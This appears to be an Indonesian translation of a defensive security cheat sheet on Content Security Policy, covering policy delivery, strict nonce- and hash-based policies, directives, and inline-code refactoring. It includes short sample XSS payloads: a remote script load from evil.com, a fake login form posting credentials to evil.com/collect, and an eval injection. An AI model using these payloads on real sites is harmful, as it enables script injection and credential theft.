Content Security Policy¶
Pendahuluan¶
- Artikel ini menyajikan cara untuk mengintegrasikan konsep pertahanan berlapis ke sisi klien aplikasi web. Dengan menyuntikkan header Content Security Policy
(CSP) dari server, peramban akan mengetahui dan mampu melindungi pengguna dari panggilan dinamis yang akan memuat konten ke halaman yang sedang dikunjungi.
Konteks¶
Peningkatan kerentanan XSS (Cross-Site Scripting), clickjacking, dan kebocoran lintas situs menuntut pendekatan keamanan yang lebih mendalam.
Defense against XSS¶
CSP bertahan terhadap serangan XSS dengan cara berikut:
- Restricting Inline Scripts
Dengan mencegah halaman menjalankan skrip sebaris, serangan seperti menyuntikkan
<script>document.body.innerHTML='defaced'</script>
tidak akan berfungsi.
- Restricting Remote Scripts
Dengan mencegah halaman memuat skrip dari server sembarangan, serangan seperti menyuntikkan
<script src="https://evil.com/hacked.js"></script>
tidak akan berfungsi.
- Restricting Unsafe JavaScript
Dengan mencegah halaman menjalankan fungsi text-to-JavaScript seperti eval, situs web akan aman dari kerentanan seperti ini:
// A Simple Calculator var op1 = getUrlParameter("op1"); var op2 = getUrlParameter("op2"); var sum = eval(`${op1} + ${op2}`); console.log(`The sum is: ${sum}`);
- Restricting Form submissions
Dengan membatasi tempat formulir HTML di situs web Anda dapat mengirimkan datanya, menyuntikkan formulir phishing juga tidak akan berfungsi.
<form method="POST" action="https://evil.com/collect"> <h3>Session expired! Please login again.</h3> <label>Username</label> <input type="text" name="username"/> <label>Password</label> <input type="password" name="pass"/> <input type="Submit" value="Login"/> </form>
- Restricting Objects
And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.
Pertahanan terhadap serangan framing¶
Serangan seperti clickjacking dan beberapa varian serangan side-channel browser (xs-leaks) mengharuskan situs web berbahaya untuk memuat situs web target dalam sebuah frame.
Sebelumnya, header X-Frame-Options pernah digunakan untuk ini, tetapi telah ditinggalkan oleh direktif CSP frame-ancestors.
Pertahanan Mendalam¶
CSP yang kuat menyediakan lapisan perlindungan kedua yang efektif terhadap berbagai jenis kerentanan, terutama XSS. Meskipun CSP tidak mencegah aplikasi web mengandung kerentanan, CSP dapat membuat kerentanan tersebut jauh lebih sulit dieksploitasi oleh penyerang.
Bahkan di situs web yang sepenuhnya statis, yang tidak menerima masukan pengguna apa pun, CSP dapat digunakan untuk menegakkan penggunaan Subresource Integrity (SRI). Hal ini dapat membantu mencegah kode berbahaya dimuat di situs web jika salah satu situs pihak ketiga yang menghosting berkas JavaScript (seperti skrip analitik) disusupi.
Meskipun demikian, CSP tidak boleh diandalkan sebagai satu-satunya mekanisme pertahanan terhadap XSS. Anda tetap harus mengikuti praktik pengembangan yang baik seperti yang dijelaskan dalam Lembar Panduan Cross-Site Scripting Prevention (XRSP), lalu menerapkan CSP sebagai lapisan keamanan tambahan.
Policy Delivery¶
Anda dapat menyampaikan Kebijakan Keamanan Konten ke situs web Anda dengan tiga cara.
- Content-Security-Policy Header
Kirim header respons HTTP Content-Security-Policy dari server web Anda.
Content-Security-Policy: ...
Menggunakan header adalah cara yang lebih disukai dan mendukung rangkaian fitur CSP yang lengkap. Kirimkan header di semua respons HTTP, bukan hanya di halaman indeks.
Ini adalah header standar Spesifikasi W3C. Didukung oleh Firefox 23+, Chrome 25+, dan Opera 19+.
- Content-Security-Policy-Report-Only Header
Dengan menggunakan Laporan Kebijakan Keamanan Konten Saja, Anda dapat menyampaikan CSP yang tidak diberlakukan.
Content-Security-Policy-Report-Only: ...
Namun, laporan pelanggaran dicetak ke konsol dan dikirimkan ke titik akhir pelanggaran jika direktif
report-todanreport-uridigunakan.Ini juga merupakan header standar Spesifikasi W3C. Didukung oleh Firefox 23+, Chrome 25+, dan Opera 19+, dengan kebijakan non-pemblokiran ("fail open") dan laporan dikirim ke URL yang ditentukan oleh direktif
report-uri(ataureport-toyang lebih baru). Ini sering digunakan sebagai pendahuluan untuk menggunakan CSP dalam mode pemblokiran ("fail closed").Peramban sepenuhnya mendukung kemampuan situs untuk menggunakan
Content-Security-PolicydanContent-Security-Policy-Report-Onlysecara bersamaan, tanpa masalah. Pola ini dapat digunakan misalnya untuk menjalankan kebijakanReport-Onlyyang ketat (untuk mendapatkan banyak laporan pelanggaran), sementara penerapan kebijakannya lebih longgar (untuk menghindari gangguan pada fungsionalitas situs yang sah).
- Content-Security-Policy Meta Tag
Terkadang Anda tidak dapat menggunakan header Content-Security-Policy jika, misalnya, Anda sedang menyebarkan berkas HTML di CDN yang headernya berada di luar kendali Anda.
Dalam hal ini, Anda masih dapat menggunakan CSP dengan menentukan tag meta http-equiv dalam markup HTML, seperti ini:
<meta http-equiv="Content-Security-Policy" content="...">
Hampir semuanya masih didukung, termasuk perlindungan XSS penuh. Namun, Anda tidak akan dapat menggunakan perlindungan framing, sandboxing, atau CSP violation logging endpoint.
Peringatan
JANGAN gunakan X-Content-Security-Policy atau X-WebKit-CSP. Implementasinya sudah usang (sejak Firefox 23, Chrome 25), terbatas, tidak konsisten, dan sangat bermasalah.
CSP Types (granular/allowlist based or strict)¶
Mekanisme awal untuk membangun CSP melibatkan pembuatan daftar izin yang akan menentukan konten dan sumber yang diizinkan dalam konteks halaman HTML.
Namun, praktik terbaik saat ini adalah membuat CSP "Ketat" yang jauh lebih mudah diterapkan dan lebih aman karena kecil kemungkinannya untuk dilewati.
Strict CSP¶
CSP yang ketat dapat dibuat dengan menggunakan sejumlah kecil Petunjuk Pengambilan terperinci yang tercantum di bawah ini beserta salah satu dari dua mekanisme:
Nonce based
Hash based
Petunjuk strict-dynamic juga dapat digunakan secara opsional untuk mempermudah penerapan CSP yang Ketat.
Bagian-bagian berikut akan memberikan beberapa panduan dasar untuk mekanisme ini, tetapi sangat disarankan untuk mengikuti petunjuk Google yang terperinci dan metodologis untuk membuat CSP yang Ketat:
Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)
Nonce based¶
Nonce adalah nilai acak sekali pakai yang unik yang Anda hasilkan untuk setiap respons HTTP, dan tambahkan ke header Content-Security-Policy, seperti ini:
const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;
Anda kemudian akan meneruskan nonce ini ke tampilan Anda (menggunakan nonce memerlukan HTML non-statis) dan merender tag skrip yang terlihat seperti ini:
<script nonce="<%= nonce %>">
...
</script>
Peringatan
Jangan membuat middleware yang mengganti semua tag skrip dengan "script nonce=..." karena skrip yang disuntikkan penyerang akan mendapatkan nonce juga. Anda memerlukan mesin templat HTML yang sebenarnya untuk menggunakan nonce.
Hashes¶
Bila skrip sebaris diperlukan, script-src 'hash_algo-hash' merupakan pilihan lain untuk mengizinkan skrip tertentu saja untuk dieksekusi.
Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='
Untuk mendapatkan hash, lihat alat pengembang Google Chrome untuk pelanggaran seperti ini:
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "..." Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce...
Anda juga bisa menggunakan generator hash ini. Ini adalah contoh penggunaan hash yang bagus.
Catatan
Menggunakan hash bisa menjadi pendekatan yang berisiko. Jika Anda mengubah apa pun di dalam tag skrip (bahkan spasi), misalnya dengan memformat kode, hash-nya akan berbeda, dan skrip tidak akan ditampilkan.
strict-dynamic¶
Direktif strict-dynamic dapat digunakan sebagai bagian dari CSP Ketat yang dikombinasikan dengan hash atau nonce.
Jika blok skrip yang memiliki hash atau nonce yang benar membuat elemen DOM tambahan dan mengeksekusi JavaScript di dalamnya, strict-dynamic akan memberi tahu browser untuk mempercayai elemen-elemen tersebut juga tanpa harus menambahkan nonce atau hash secara eksplisit untuk masing-masing elemen.
Perlu diketahui bahwa meskipun strict-dynamic adalah fitur CSP level 3, CSP level 3 didukung secara luas di browser modern yang umum.
Untuk detail selengkapnya, lihat penggunaan strict-dynamic.
Direktif CSP Terperinci¶
Ada beberapa jenis direktif yang memungkinkan pengembang mengontrol alur kebijakan secara terperinci. Perlu diperhatikan bahwa membuat kebijakan non-Strict yang terlalu terperinci atau permisif kemungkinan besar akan menyebabkan pengabaian dan hilangnya perlindungan.
Fetch Directives¶
Direktif fetch memberi tahu browser lokasi tepercaya dan sumber daya yang dapat dimuat.
Sebagian besar direktif fetch memiliki daftar fallback tertentu yang ditentukan dalam w3. Daftar ini memungkinkan kontrol terperinci atas sumber skrip, gambar, berkas, dll.
child-srcmemungkinkan pengembang untuk mengontrol konteks penelusuran bersarang dan konteks eksekusi pekerja.connect-srcmenyediakan kontrol atas permintaan fetch, XHR, eventsource, beacon, dan koneksi websocket.font-srcmenentukan URL tempat font akan dimuat.img-srcmenentukan URL tempat gambar dapat dimuat.manifest-srcmenentukan URL tempat manifes aplikasi dapat dimuat.media-srcmenentukan URL tempat sumber daya trek video, audio, dan teks dapat dimuat.prefetch-srcmenentukan URL tempat sumber daya dapat diambil terlebih dahulu.object-srcmenentukan URL tempat plugin dapat dimuat.script-srcmenentukan lokasi tempat skrip dapat dieksekusi. Ini adalah direktif fallback untuk direktif serupa skrip lainnya.script-src-elemmengontrol lokasi tempat eksekusi permintaan dan blok skrip dapat terjadi.script-src-attrmengontrol eksekusi event handler.
style-srcmengontrol tempat penerapan gaya ke dokumen. Ini termasuk elemen <link>, aturan @import, dan permintaan yang berasal dari kolom header respons HTTP Link.style-src-elemmengontrol gaya kecuali untuk atribut inline.style-src-attrmengontrol atribut gaya.
default-srcadalah direktif fallback untuk direktif fetch lainnya. Direktif yang ditentukan tidak memiliki pewarisan, sedangkan direktif yang tidak ditentukan akan kembali ke nilaidefault-src.
Document Directives¶
Direktif dokumen memberi instruksi kepada browser tentang properti dokumen yang akan diterapkan kebijakan.
base-urimenentukan kemungkinan URL yang dapat digunakan oleh elemen <base>.plugin-typesmembatasi jenis sumber daya yang dapat dimuat ke dalam dokumen (misalnya application/pdf). Tiga aturan berlaku untuk elemen yang terpengaruh, <embed> dan <object>:Elemen perlu mendeklarasikan tipenya secara eksplisit.
Tipe elemen harus sesuai dengan tipe yang dideklarasikan.
Sumber daya elemen harus sesuai dengan tipe yang dideklarasikan.
sandboxmembatasi tindakan halaman seperti mengirimkan formulir.Hanya berlaku jika digunakan dengan header permintaan
Content-Security-Policy.Tidak menentukan nilai untuk direktif akan mengaktifkan semua pembatasan sandbox.
Content-Security-Policy: sandbox;
Reporting Directives¶
Direktif pelaporan mengirimkan pelanggaran perilaku yang dicegah ke lokasi tertentu. Direktif ini tidak memiliki tujuan sendiri dan bergantung pada direktif lain.
report-toyang merupakan nama grup yang didefinisikan di header dalam nilai header berformat JSON.
- Direktif
report-uritidak digunakan lagi olehreport-to, yang merupakan URI tujuan pengiriman laporan. Berformat: Content-Security-Policy: report-uri https://example.com/csp-reports
- Direktif
Untuk memastikan kompatibilitas mundur, gunakan 2 direktif ini secara bersamaan. Setiap kali browser mendukung report-to, browser akan mengabaikan report-uri. Jika tidak, report-uri akan digunakan.
Special Directives Sources¶
Value |
Description |
|---|---|
'none' |
No URLs match. |
'self'. |
Refers to the origin site with the same scheme and port number. |
'unsafe-inline' |
Allows the usage of inline scripts or styles. |
'unsafe-eval'. |
Allows the usage of eval in scripts. |
Untuk lebih memahami cara kerja sumber arahan, periksa daftar sumber dari w3c.
Berdasarkan instruksi tersebut, salah satu dari dua kebijakan berikut dapat digunakan untuk menerapkan kebijakan yang ketat:
Nonce-based Strict Policy¶
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Hash-based Strict Policy¶
Content-Security-Policy:
script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Basic non-Strict CSP Policy¶
Kebijakan ini dapat digunakan jika tidak memungkinkan untuk membuat Kebijakan Ketat dan mencegah pembingkaian dan pengiriman formulir lintas situs. Kebijakan ini hanya akan mengizinkan sumber daya dari domain asal untuk semua direktif tingkat default dan tidak akan mengizinkan skrip/gaya sebaris untuk dieksekusi.
Jika aplikasi Anda berfungsi dengan batasan ini, hal ini secara drastis mengurangi permukaan serangan Anda dan berfungsi dengan sebagian besar peramban modern.
Kebijakan paling dasar mengasumsikan:
Semua sumber daya dihosting oleh domain dokumen yang sama.
Tidak ada inline atau eval untuk skrip dan sumber daya gaya.
Tidak perlu situs web lain untuk membingkai situs web.
Tidak ada pengiriman formulir ke situs web eksternal.
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
Untuk mengencangkan lebih jauh, seseorang dapat menerapkan hal berikut ini:
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';
Kebijakan ini mengizinkan gambar, skrip, AJAX, dan CSS dari asal yang sama dan tidak mengizinkan sumber daya lain untuk dimuat (misalnya, objek, bingkai, media, dll.).
Meningkatkan permintaan yang tidak aman¶
Jika pengembang bermigrasi dari HTTP ke HTTPS, arahan berikut akan memastikan bahwa semua permintaan akan dikirim melalui HTTPS tanpa fallback ke HTTP:
Content-Security-Policy: upgrade-insecure-requests;
Mencegah serangan framing (clickjacking, kebocoran lintas situs)¶
- Untuk mencegah semua pembingkaian konten Anda, gunakan:
Content-Security-Policy: frame-ancestors 'none';
- Untuk mengizinkan situs itu sendiri, gunakan:
Content-Security-Policy: frame-ancestors 'self';
- Untuk mengizinkan domain tepercaya, lakukan hal berikut:
Content-Security-Policy: frame-ancestors trusted.com;
Refactoring inline code¶
Saat direktif default-src atau script-src* aktif, CSP secara default menonaktifkan kode JavaScript apa pun yang ditempatkan sebaris dalam sumber HTML, seperti ini:
<script>
var foo = "314"
<script>
Kode sebaris dapat dipindahkan ke file JavaScript terpisah dan kode di halaman menjadi:
<script src="app.js">
</script>
Dengan app.js berisi kode var foo="314".
Pembatasan kode sebaris juga berlaku untuk inline event handlers, sehingga konstruksi berikut akan diblokir di bawah CSP:
<button id="button1" onclick="doSomething()">
Ini harus digantikan dengan panggilan addEventListener:
document.getElementById("button1").addEventListener('click', doSomething);
Referensi¶
Strict CSP https://web.dev/strict-csp
CSP Level 3 W3C https://www.w3.org/TR/CSP3/
Content-Security-Policy https://content-security-policy.com/
MDN CSP https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
CSP Wikipedia https://en.wikipedia.org/wiki/Content_Security_Policy
CSP CheatSheet by Scott Helme https://scotthelme.co.uk/csp-cheat-sheet/
Breaking Bad CSP https://www.slideshare.net/LukasWeichselbaum/breaking-bad-csp
CSP A Successfull Mess Between Hardening And Mitigation https://speakerdeck.com/lweichselbaum/csp-a-successful-mess-between-hardening-and-mitigation
Content Security Policy Guide AppSec Monkey https://www.appsecmonkey.com/blog/content-security-policy-header/
CSP evaluator https://csp-evaluator.withgoogle.com/